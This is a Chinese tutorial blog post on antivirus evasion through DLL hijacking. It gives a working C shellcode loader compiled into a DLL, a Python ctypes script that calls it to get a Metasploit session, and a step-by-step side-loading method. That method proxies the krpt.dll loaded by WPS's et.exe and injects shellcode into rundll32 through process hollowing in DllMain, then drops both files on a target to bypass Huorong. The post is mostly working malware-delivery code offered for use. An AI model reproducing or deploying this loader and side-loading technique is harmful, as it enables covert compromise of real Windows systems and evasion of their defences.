免杀对抗-DLL劫持免杀

C&Py-DLL劫持-语言-调用加载

1.使用visual studio创建项目

2.将文件名重命名为.c后缀

3.将如下加载器代码生成dll文件

加载器代码:

cpp 复制代码
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口

unsigned char buf[] =生成的shellcode;
int main()
{
char* Memory;
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}

生成成功

4.msf开启监听

5.使用python执行如下代码,调用dll文件

dll.py

from ctypes import *

#利用python载入dll文件

lib=CDLL('生成的dll文件路径')

#调用dll文件内置方法函数

lib.main()

执行成功,msf成功上线

6.使用打包器将dll.py文件打包成exe,执行成功上线

C&C++-DLL劫持-白加黑-导出编译

1.随便选中一个exe程序运行,使用火绒剑查看这个exe程序在运行时加载的dll文件

这里选择的是wps中的et.exe程序,运行发现加载了一个krpt.dll文件

2.使用Dependencies工具对krpt.dll进行反编译

3.右键导出krpt.dll源码

4.使用visual studio 创建一个新项目。项目名称右键------打开项目位置------将反编译的dll源码复制进去。

5.选中dll源码拖入项目,工具就会自动加载源码

6.打开asm文件,将所有的jmp语句删除

7.根据文件中的教程,选中文件------右键属性------如下图修改------点击应用。

配置时注意:

配置:选择所有配置

平台:选择所有平台

8.根据教程------继续打开asm文件的属性进行配置

9.项目名称------右键属性------c/c++------代码生成------运行库------多线程(/MT)

10.预编译头------不使用预编译头

11.链接器------调试------生成调试信息------否

12.在.c文件中添加如下一行代码

13.打开.cpp文件,写入shellcode加载代码(可任意)

如:

cpp 复制代码
#include "framework.h"
#include "krpt.h"
#include "windows.h"

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{

unsigned char hexData[] = "生成的shellcode";

char* v7A = (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);
memcpy((void*)v7A, hexData, _countof(hexData));
struct _PROCESS_INFORMATION ProcessInformation;
struct _STARTUPINFOA StartupInfo;
void* v24;
CONTEXT Context;
DWORD DwWrite = 0;
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
if (result)
{
Context.ContextFlags = 65539;
GetThreadContext(ProcessInformation.hThread, &Context);
v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);
Context.Eip = (DWORD)v24;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
result = CloseHandle(ProcessInformation.hProcess);
}

TerminateProcess(GetCurrentProcess(), 0);
};

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

成功生成dll文件

14.将生成的dll文件改名位krpt.dll和et.exe一起上传到目标系统

运行et.exe,成功绕过火绒检测,msf成功上线

相关推荐
三七吃山漆9 小时前
攻防世界——wife_wife
前端·javascript·web安全·网络安全·ctf
骥龙13 小时前
4.15、AI 在网络安全中的应用与对抗:AI 驱动攻击与防御
网络安全
Neolnfra15 小时前
任意文件上传漏洞
计算机网络·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
文刀竹肃16 小时前
DVWA -XSS(DOM)-通关教程-完结
前端·安全·网络安全·xss
Neolnfra19 小时前
陇剑杯2021-wifi题目解析
网络·安全·web安全·网络安全·系统安全·密码学·csrf
wha the fuck40420 小时前
(渗透脚本)TCP创建连接脚本----解题----极客大挑战2019HTTP
python·网络协议·tcp/ip·网络安全·脚本书写
白帽黑客-晨哥1 天前
网络安全怎么考公?
web安全·网络安全·信息安全·渗透测试·考公
白帽黑客-晨哥1 天前
湖南网安基地:构筑网络安全人才培养新高地
web安全·网络安全·渗透测试·就业·湖南网安基地·安服
网安INF1 天前
AKA协议认证与密钥协商的核心原理
网络协议·安全·网络安全·密码学·aka
bleach-1 天前
buuctf系列解题思路祥讲--[网鼎杯 2020 青龙组]AreUSerialz1——文件包含漏洞,PHP代码审计,php伪协议,php反序列化
开发语言·安全·web安全·网络安全·渗透测试·php